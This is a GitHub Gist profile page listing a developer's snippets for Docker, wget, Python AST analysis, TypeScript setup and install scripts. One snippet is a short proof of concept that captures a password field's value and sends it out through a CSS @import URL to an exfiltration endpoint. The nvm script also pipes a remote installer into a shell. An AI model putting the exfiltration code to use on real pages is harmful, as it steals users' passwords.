Skip to content

Instantly share code, notes, and snippets.

View Den1al's full-sized avatar
🎯
Focusing

Den1al Den1al

🎯
Focusing
View GitHub Profile
@Den1al
Den1al / docker-deep-save.py
Last active June 18, 2022 19:21
Save a docker image and extract all layers to disk
from pathlib import Path
from argparse import ArgumentParser, Namespace
import tarfile
import os
import tempfile
from tempfile import _TemporaryFileWrapper
import json
from subprocess import check_output, CalledProcessError
@Den1al
Den1al / wget-download-directory-listing.sh
Created February 6, 2022 12:14
Use WGET to download all files recursively from a directory listing
wget \
--recursive \
--no-clobber \
--page-requisites \
--html-extension \
--convert-links \
--restrict-file-names=windows \
--domains <DOMAIN> \
--no-parent <URL>
@Den1al
Den1al / func-deps.py
Last active February 28, 2024 23:48
Get the dependencies of functions in python using abstract syntax trees
from pathlib import Path
import ast
from typing import Any, List, Tuple
from dataclasses import dataclass, field
@dataclass
class Dependencies:
arguments: List[ast.arg] = field(default_factory=list)
variables: List[ast.Name] = field(default_factory=list)
@Den1al
Den1al / new-ts.js
Created September 9, 2020 11:41
New TypeScript Boilerplate Generator
// Author: Daniel Abeles
// Github: https://github.com/Den1al
const fs = require('fs');
const { exec } = require("child_process");
function normalizeSpaces(text) {
let numOfSpaces = text.split(/\n/)
.filter(Boolean)[0]
.search(/\S/);
@Den1al
Den1al / data-exfil-using-css-import.js
Created July 16, 2020 07:47
Data Exfiltration using CSS Import Query
document
.querySelector(`input[type="password"]`)
.addEventListener("change", evt => {
let style = document.createElement('style');
style.type = 'text/css';
style.innerHTML = `@import url("http://localhost:8080/exfil?a=${evt.target.value}")`;
document.getElementsByTagName('head')[0].appendChild(style);
})
@Den1al
Den1al / save-from-console.js
Created June 9, 2020 14:08
Save objects from the console locally
(function(console){
console.save = function(data, filename){
if(!data) {
console.error('Console.save: No data')
return;
}
if(!filename) filename = 'console.json'
@Den1al
Den1al / ts-node-vscode-launch.json
Created February 9, 2020 10:26
ts-node VSCode Debugging File
{
"version": "0.2.0",
"configurations": [
{
"name": "Current TS File",
"type": "node",
"request": "launch",
"args": ["${relativeFile}"],
"runtimeArgs": ["-r", "ts-node/register"],
"cwd": "${workspaceRoot}",
@Den1al
Den1al / docker-bootstrap.sh
Last active July 29, 2019 09:00
Bootstrap the docker & docker-compose installation
# docker
sudo apt-get update
sudo apt-get install -y \
apt-transport-https \
ca-certificates \
curl \
gnupg-agent \
software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository \
@Den1al
Den1al / generate-phone-numbers.py
Created June 16, 2019 18:38
Generate Israeli Phone Numbers
from itertools import product
from string import digits
prefixes = ["050",
"051",
"052",
"053",
"054",
"055",
"056",
@Den1al
Den1al / nvm-bootstrap.sh
Last active June 8, 2019 14:28
NVM Bootstrap
# nvm
curl https://raw.githubusercontent.com/creationix/nvm/v0.34.0/install.sh | zsh
source ~/.zshrc
nvm install v10.16.0